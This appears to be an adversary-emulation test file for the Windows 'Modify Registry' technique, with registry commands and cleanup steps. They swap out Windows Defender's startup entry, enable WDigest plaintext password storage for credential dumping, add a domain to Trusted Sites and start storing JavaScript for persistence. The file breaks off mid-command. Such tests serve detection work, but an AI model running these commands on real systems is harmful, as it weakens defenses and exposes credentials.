attack_technique: T1112 display_name: Modify Registry atomic_tests: - name: Modify Registry of Current User Profile - cmd auto_generated_guid: 1324796b-d0f6-455a-b4ae-21ffee6aa6b9 description: | Modify the registry of the currently logged in user using reg.exe via cmd console. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the new entry in HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced. supported_platforms: - windows executor: command: | reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /t REG_DWORD /v HideFileExt /d 1 /f cleanup_command: | reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /f >nul 2>&1 name: command_prompt - name: Modify Registry of Local Machine - cmd auto_generated_guid: 282f929a-6bc5-42b8-bd93-960c3ba35afe description: | Modify the Local Machine registry RUN key to change Windows Defender executable that should be ran on startup. This should only be possible when CMD is ran as Administrative rights. Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\Software\Microsoft\Windows\CurrentVersion\Run. supported_platforms: - windows input_arguments: new_executable: description: New executable to run on startup instead of Windows Defender type: string default: calc.exe executor: command: | reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /t REG_EXPAND_SZ /v SecurityHealth /d #{new_executable} /f cleanup_command: | reg delete HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /f >nul 2>&1 name: command_prompt elevation_required: true - name: Modify registry to store logon credentials auto_generated_guid: c0413fb5-33e2-40b7-9b6f-60b29f4a7a18 description: | Sets registry key that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Upon execution, the message "The operation completed successfully." will be displayed. Additionally, open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. supported_platforms: - windows executor: command: | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f cleanup_command: | reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f >nul 2>&1 name: command_prompt elevation_required: true - name: Use Powershell to Modify registry to store logon credentials auto_generated_guid: 68254a85-aa42-4312-a695-38b7276307f8 description: | Sets registry key using Powershell that will tell windows to store plaintext passwords (making the system vulnerable to clear text / cleartext password dumping). Open Registry Editor to view the modified entry in HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest. supported_platforms: - windows executor: command: | Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '1' -ErrorAction Ignore cleanup_command: | Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name 'UseLogonCredential' -Value '0' -ErrorAction Ignore name: powershell elevation_required: true - name: Add domain to Trusted sites Zone auto_generated_guid: cf447677-5a4e-4937-a82c-e47d254afd57 description: | Attackers may add a domain to the trusted site zone to bypass defenses. Doing this enables attacks such as c2 over office365. Upon execution, details of the new registry entries will be displayed. Additionally, open Registry Editor to view the modified entry in HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\. https://www.blackhat.com/docs/us-17/wednesday/us-17-Dods-Infecting-The-Enterprise-Abusing-Office365-Powershell-For-Covert-C2.pdf supported_platforms: - windows input_arguments: bad_domain: description: Domain to add to trusted site zone type: string default: bad-domain.com executor: command: | $key= "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" $name ="bad-subdomain" new-item $key -Name $name -Force new-itemproperty $key$name -Name https -Value 2 -Type DWORD; new-itemproperty $key$name -Name http -Value 2 -Type DWORD; new-itemproperty $key$name -Name * -Value 2 -Type DWORD; cleanup_command: | $key = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\#{bad_domain}\" Remove-item $key -Recurse -ErrorAction Ignore name: powershell - name: Javascript in registry auto_generated_guid: 15f44ea9-4571-4837-be9e-802431a7bfae description: | Upon execution, a javascript block will be placed in the registry for persistence. Additionally, open Registry Editor to view the modified entry in HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings. supported_platforms: - windows executor: command: | New-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" -Name T1112 -Value "